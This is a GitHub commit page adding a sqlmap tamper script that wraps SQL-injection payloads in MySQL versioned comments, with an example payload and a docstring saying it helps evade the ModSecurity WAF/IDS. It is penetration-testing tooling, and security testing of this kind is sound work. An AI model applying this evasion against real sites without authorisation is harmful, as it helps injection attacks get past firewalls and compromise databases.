Skip to content

Commit 1cec299

Browse files
committed
added new tampering script by request
1 parent 0cbcbf1 commit 1cec299

1 file changed

Lines changed: 47 additions & 0 deletions

File tree

tamper/modsecurityversioned.py

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
7+
See the file 'doc/COPYING' for copying permission
8+
"""
9+
10+
from lib.core.enums import PRIORITY
11+
12+
__priority__ = PRIORITY.HIGHER
13+
14+
def dependencies():
15+
pass
16+
17+
def tamper(payload):
18+
"""
19+
Replaces ...
20+
21+
Example:
22+
* Input: 1 AND 2>1--
23+
* Output: 1 /*!30000AND 2>1*/--
24+
25+
Requirement:
26+
* MySQL
27+
28+
Tested against:
29+
* MySQL 5.0
30+
31+
Notes:
32+
* Useful to bypass ModSecurity WAF/IDS
33+
"""
34+
35+
retVal = payload
36+
37+
if payload:
38+
postfix = ''
39+
for comment in ('#', '--', '/*'):
40+
if comment in payload:
41+
postfix = payload[payload.find(comment):]
42+
payload = payload[:payload.find(comment)]
43+
break
44+
if ' ' in payload:
45+
retVal = "%s /*!30000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)
46+
47+
return retVal

0 commit comments

Comments
 (0)